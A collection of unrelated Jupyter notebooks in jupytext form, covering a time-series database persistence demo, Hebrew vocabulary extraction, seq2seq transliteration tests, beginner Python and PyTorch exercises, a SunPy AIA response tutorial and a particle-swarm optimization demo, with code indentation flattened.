server = subprocess.Popen(['python', '../go_server_persistent.py',
'--ts_length', str(ts_length), '--data_dir', data_dir, '--db_name', db_name])
time.sleep(5) # give it time to load fully
webserver = subprocess.Popen(['python', '../go_webserver.py'])
time.sleep(5) # give it time to load fully
web_interface = WebInterface()
# ## Inspect Data
#
# Let's repeat the previous tests to check whether our persistence architecture worked.
# +
# select all database entries; all metadata fields
results = web_interface.select(fields=[])
# we have the right number of database entries
assert len(results) == num_ts
# we have all the right primary keys
assert sorted(results.keys()) == ts_keys
# -
# check that all the time series and metadata matches
for k in tsdict:
results = web_interface.select(fields=['ts'], md={'pk': k})
assert results[k]['ts'] == tsdict[k]
results = web_interface.select(fields=[], md={'pk': k})
for field in metadict[k]:
assert metadict[k][field] == results[k][field]
# check that the vantage points match
print('Vantage points selected:', vpkeys)
print('Vantage points in database:',
web_interface.select(fields=None, md={'vp': True}, additional={'sort_by': '+pk'}).keys())
# check that isax tree has fully reloaded
print(web_interface.isax_tree())
# compare vantage point search results
results_vp == web_interface.vp_similarity_search(query, 1)
# compare isax search results
results_isax == web_interface.isax_similarity_search(query)
# +
# check that the trigger is still there by loading new data
# create test time series
_, test = tsmaker(np.random.uniform(low=0.0, high=1.0),
np.random.uniform(low=0.05, high=0.4),
np.random.uniform(low=0.05, high=0.2))
# insert test time series
web_interface.insert_ts('test', test)
# check that mean and standard deviation have been calculated
print(web_interface.select(fields=['mean', 'std'], md={'pk': 'test'}))
# remove test time series
web_interface.delete_ts('test');
# -
# We have successfully reloaded all of the database components from disk!
# terminate processes before exiting
os.kill(server.pid, signal.SIGINT)
time.sleep(5) # give it time to terminate
web_interface = None
webserver.terminate()
| docs/persistence_demo.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# <img align="right" src="images/dans-small.png"/>
# <img align="right" src="images/tf-small.png"/>
# <img align="right" src="images/etcbc.png"/>
#
#
# # Vocabulary
#
# This notebook creates a list of all Hebrew and Aramaic lexemes, with glosses and frequences, listed in
# reverse frequency order,
# This list is stored as
# [vocab.tsv](vocab.tsv), a tab-separated, plain unicode text file.
#
# This is an answer to a [question by <NAME>](http://bhebrew.biblicalhumanities.org/viewtopic.php?f=7&t=946).
# +
import os
from tf.fabric import Fabric
# -
# # Load data
# We load the some features of the
# [BHSA](https://github.com/etcbc/bhsa) data.
# See the [feature documentation](https://etcbc.github.io/bhsa/features/hebrew/2017/0_home.html) for more info.
# +
BHSA = 'BHSA/tf/2017'
TF = Fabric(locations='~/github/etcbc', modules=BHSA)
api = TF.load('''
languageISO
lex
voc_lex_utf8
gloss
freq_lex
''')
api.makeAvailableIn(globals())
# -
# We walk through all lexemes, and collect their language, lexeme identifier, vocalized lexeme representation,
# gloss, and frequency.
# We combine it in one list.
vocab = []
for lexNode in F.otype.s('lex'):
vocab.append((
F.freq_lex.v(lexNode),
F.languageISO.v(lexNode),
F.lex.v(lexNode),
F.gloss.v(lexNode),
F.voc_lex_utf8.v(lexNode),
))
# We sort the list on frequency, then language, then vocalised lexeme.
vocab = sorted(vocab, key=lambda e: (-e[0], e[1], e[4]))
# Here are the first 10.
vocab[0:10]
# `hbo` and `arc` are
# [ISO codes](https://www.loc.gov/standards/iso639-2/php/code_list.php) for the Hebrew and Aramaic languages.
# We store the result in [vocab.tsv](vocab.tsv)
with open('vocab.tsv', 'w') as f:
f.write('frequency\tlanguage\tidentifier\tgloss\tlexeme\n') #header
for entry in vocab:
f.write('{}\t{}\t{}\t{}\t{}\n'.format(*entry))
| vocabulary/.ipynb_checkpoints/vocab-checkpoint.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# +
# %load_ext autoreload
# %autoreload 2
import torch
from torch.utils.data import Dataset,DataLoader
from pathlib import Path
from scripts.transliteration_tokenizers import create_source_target_tokenizers
from scripts.data_utils import TransliterationDataset,pad_collate
from scripts.models import Simple_seq2seq,Attention_seq2seq
#from scripts.attention_seq2seq import Attention_seq2seq
from scripts.train_utils import masked_loss, masked_accuracy
use_cuda = torch.cuda.is_available()
device = torch.device("cuda" if use_cuda else "cpu")
# +
cur_dir = Path.cwd()
data_dir = cur_dir / "data"
raw_data_dir = data_dir / "raw_data"
proc_data_dir = data_dir / "processed_data"
sample_file = raw_data_dir / "sample.tsv"
train_file = proc_data_dir / "train_clean.tsv"
dev_file = raw_data_dir / "te.translit.sampled.dev.tsv"
test_file = raw_data_dir / "te.translit.sampled.test.tsv"
weighted_sample_file = proc_data_dir / "weighted_sample.tsv"
max_sample_file = proc_data_dir / "max_sample.tsv"
repeat_sample_file = proc_data_dir / "repeat_sample.tsv"
weighted_dev_file = proc_data_dir / "weighted_dev.tsv"
max_dev_file = proc_data_dir / "max_dev.tsv"
repeat_dev_file = proc_data_dir / "repeat_dev.tsv"
weighted_train_file = proc_data_dir / "weighted_train.tsv"
max_train_file = proc_data_dir / "max_train.tsv"
repeat_train_file = proc_data_dir / "repeat_train.tsv"
weighted_test_file = proc_data_dir / "weighted_test.tsv"
max_test_file = proc_data_dir / "max_test.tsv"
repeat_test_file = proc_data_dir / "repeat_test.tsv"
target_corpus_file = proc_data_dir / "target_corpus.txt"
source_corpus_file = proc_data_dir / "source_corpus.txt"
# -
source_tokenizer, target_tokenizer = create_source_target_tokenizers(source_corpus_file,target_corpus_file, 128,128)
pad_id = target_tokenizer.padding['pad_id']
model = Simple_seq2seq(64, 128,source_tokenizer, target_tokenizer)
max_dataset = TransliterationDataset(max_sample_file,source_tokenizer, target_tokenizer)
max_sample_loader = DataLoader(max_dataset, batch_size = 3, collate_fn=pad_collate, drop_last=False)
max_sample_iter = iter(max_sample_loader)
next(max_sample_iter)
max_batch = next(max_sample_iter)
max_batch
["".join(word.split()) for word in source_tokenizer.decode_batch(max_batch[0].tolist())]
["".join(word.split()) for word in target_tokenizer.decode_batch(max_batch[1].tolist())]
max_out = model(max_batch)
print(max_batch[0].shape, max_batch[1].shape,len(max_batch[2]) ,max_out.shape)
["".join(word.split()) for word in target_tokenizer.decode_batch(torch.argmax(max_out, dim = -1).tolist())]
masked_loss(max_out,max_batch[1], pad_id ), masked_accuracy(max_out,max_batch[1], pad_id )
source_tokenizer, target_tokenizer = create_source_target_tokenizers(source_corpus_file,target_corpus_file, 128,128)
pad_id = target_tokenizer.padding['pad_id']
model = Attention_seq2seq(64, 128,source_tokenizer, target_tokenizer)
max_dataset = TransliterationDataset(max_sample_file,source_tokenizer, target_tokenizer)
max_sample_loader = DataLoader(max_dataset, batch_size = 3, collate_fn=pad_collate, drop_last=False)
max_sample_iter = iter(max_sample_loader)
next(max_sample_iter)
max_batch = next(max_sample_iter)
max_batch
["".join(word.split()) for word in source_tokenizer.decode_batch(max_batch[0].tolist())]
["".join(word.split()) for word in target_tokenizer.decode_batch(max_batch[1].tolist())]
max_out = model(max_batch)
print(max_batch[0].shape, max_batch[1].shape,len(max_batch[2]) ,max_out.shape)
["".join(word.split()) for word in target_tokenizer.decode_batch(torch.argmax(max_out, dim = -1).tolist())]
masked_loss(max_out,max_batch[1], pad_id ), masked_accuracy(max_out,max_batch[1], pad_id )
| Basic model creation.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # <NAME>
# ## 20120612087
# ### <EMAIL>
# # Exercise I
#
# ### Write a python program to get the difference between a given number and 17, if the number is greater than 17 return double the absolute difference.
#
# 
# +
def difference(x):
if x <= 17:
return 17 - x
else:
return (x - 17) * 2
print(difference(22))
print(difference(14))
# -
#
# # Exercise II
#
# ### Write a python program to calculate the sum of three given numbers, if the values are equal then return thrice of their sum.
#
# 
# +
def sum_thrice(a, b, c):
sum = a + b + c
if a == b == c:
sum = sum * 3
return sum
print(sum_thrice(1, 2, 3))
print(sum_thrice(3, 3, 3))
# -
# # Exercise III
#
# ### Write a python program which will return true is the two given integer values are equal or their sum or difference is 5.
#
# 
# +
def test_number5(a, b):
if a == b or a - b == 5 or a + b == 5:
return True
else:
return False
print(test_number5(1, 2))
print(test_number5(2, 3))
print(test_number5(3, 4))
# -
# # Exercise IV
#
# ### Write a python program to sort three integers without using conditional statements and loops.
#
# 
# # Exercise V
#
# ### Write a Python function that takes a positive integer and returns the sum of the cube of all the positive integers smaller than the specified number.
#
# 
| lab-exercise-1.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3 (ipykernel)
# language: python
# name: python3
# ---
# ## Import Modules
import torch
import numpy as np
# ## Tensors
# A tensor is a number, vector, matrix or any n-dimensional array.
# Single type tensor
t1 = torch.tensor(4.)
print(t1.shape)
print(t1.dtype)
# Vector
t2 = torch.tensor([1., 2, 3, 4])
print(t2.shape)
print(t2.dtype)
# Matrix
t3 = torch.tensor([[5., 6],
[7, 8],
[9, 10]])
print(t3.shape)
print(t3.dtype)
# 3-dimensional array
t4 = torch.tensor([
[[11, 12, 13],
[13, 14, 15]],
[[15, 16, 17],
[17, 18, 19.]]])
print(t4.shape)
print(t4.dtype)
# ## Tensor operations and gradients
# +
# Create tensor
x = torch.tensor(3.)
w = torch.tensor(4., requires_grad=True)
b = torch.tensor(5., requires_grad=True)
# requires_grad parameter
# enable the autograd feature
# Arithmetic operations
y = w * x + b
# Compute derivatives
y.backward()
# Display gradients
print("dy/dx:", x.grad)
print("dy/dw:", w.grad)
print("dy/db:", b.grad)
# -
# ## Tensor function
# Create a tensor with a fixed value for every element
t5 = torch.full((3, 2), 42)
t5
# Concatenate two tensors with compatible shapes
t6 = torch.cat((t3, t5))
t6
# Compute the sin of each element
t7 = torch.sin(t6)
t7
t8 = t7.reshape(3, 2, 2)
t8
# ## PyTorch with NumPy
x = np.array([[1, 2], [3, 4.]])
x
# Convert the numpy array to a torch tensor.
y = torch.from_numpy(x)
y
x.dtype, y.dtype
z = y.numpy()
z
| pytorch_study/pytorch_basics.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 2
# language: python
# name: python2
# ---
# # Tutorial: Calculating the SDO/AIA Response Functions in SunPy
# This notebook gives examples of how to calculate the SDO/AIA wavelength and temperature response functions using SunPy and ChiantiPy. The provided API is very simple and easy to use.
import numpy as np
import matplotlib.pyplot as plt
import sunpy.instr.aia
# %matplotlib inline
# ## Wavelength Response
# Calculate the wavelength response functions with SunPy.
# ### EUV Channels: 94, 131, 171, 193, 211, 335, 304 $\mathrm{\mathring{A}}$
response = sunpy.instr.aia.Response(ssw_path='/Users/willbarnes/Documents/Rice/Research/ssw/')
response.calculate_wavelength_response()
# Peek at the wavelength response functions.
response.peek_wavelength_response()
# ### Far UV and Visible Channels: 1600, 1700, and 4500 $\mathrm{\mathring{A}}$
# We can also very easily calculate the wavelength response functions for the far UV and visible channels centered on 1600, 1700, and 4500 $\mathrm{\mathring{A}}$.
response_uv = sunpy.instr.aia.Response(ssw_path='/Users/willbarnes/Documents/Rice/Research/ssw/',
channel_list=[1600,1700,4500])
response_uv.calculate_wavelength_response()
response_uv.peek_wavelength_response()
# ### Detailed Instrument Information
# If you'd like _very_ detailed information about each channel on the instrument, you can also generate an astropy Table that lists all of the different instrument properties that go into the wavelength response calculation.
# <div class="alert alert-danger" role="alert">
# <h1>Warning!</h1>
# <p>The following function is currently being used as a stop gap for pulling the instrument information about each channel out of the SSW .genx files. It is very likely that this functionality will change in the future.</p>
# </div>
table=sunpy.instr.aia.aia_instr_properties_to_table([94,131,171,193,211,335,304,1600,1700,4500],
['/Users/willbarnes/Documents/Rice/Research/ssw/sdo/aia/response/aia_V6_all_fullinst.genx',
'/Users/willbarnes/Documents/Rice/Research/ssw/sdo/aia/response/aia_V6_fuv_fullinst.genx'])
table
# ## Temperature Response
| notebooks/sunpy_aia_response_tutorial.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# From A Method for Mixed Integer Programming Problems by Particle Swarm Optimization by Kitayama
#
# Note: In the runs below, you should be able to yield the exact global minimum, but in general, because a stochastic optimization method is being used, you will usually get close to, but not exactly to, the global minimum. You may want to play with the control parameters of the optimization.
import numpy as np
import matplotlib.pyplot as plt
# %matplotlib notebook
import PyCEGO
# +
increment = 0.1
allowable = np.arange(-3,4,increment)
assert(np.all(allowable[:-1] <= allowable[1:]))
#assert(( 0.1 < allowable ).nonzero()[0][0] == 4)
def penalty_function(x):
o = np.zeros_like(x)
for ix, _x in enumerate(x):
iR = ( _x < allowable ).nonzero()[0][0]
L,R = allowable[iR-1],allowable[iR]
x01 = (_x-L)/(R-L)
o[ix] = 100*0.5*(1-np.cos(2*np.pi*x01))
return o
x = np.linspace(-1.5, 2.5, 5000)
f = x**4 - 8/3*x**3 - 2*x**2 + 8*x
penalty = penalty_function(x)
dfdx = [4,-8,-4,8] # in decreasing order
def ff(x):
return x**4 - 8/3*x**3 - 2*x**2 + 8*x
print("true minimum is", np.min(ff(np.roots(dfdx))))
plt.plot(x,f)
plt.plot(x,f+penalty)
plt.show()
# -
def obj(x):
return x**4 - 8/3*x**3 - 2*x**2+8*x + penalty_function(x)
bounds = [(-3,3)]
import scipy.optimize
res = scipy.optimize.differential_evolution(obj, bounds, popsize = 50,
mutation = (0.5,1),
recombination = 0.9,
disp = False,
strategy = 'rand1bin',
atol = 0, tol = 0,
maxiter = 100)
print(res)
# +
D = 1
CEGO_bounds = [PyCEGO.Bound(-3.0,3.0)]
def CEGO_obj(x):
return obj(np.array([x[0].as_double()]))[0]
for ocounter in range(5):
layers = PyCEGO.NumberishLayers(CEGO_obj, D, D*50, 1, 3)
layers.set_bounds(CEGO_bounds)
layers.set_builtin_evolver(PyCEGO.BuiltinEvolvers.differential_evolution)
objs = []
for counter in range(1000):
layers.do_generation()
objective, coeffs = layers.get_best()
if counter % 50 == 0:
print(layers.print_diagnostics())
objs.append(objective)
print('CEGO', objs[-1])
| notebooks/NonIntegerConstraint.ipynb |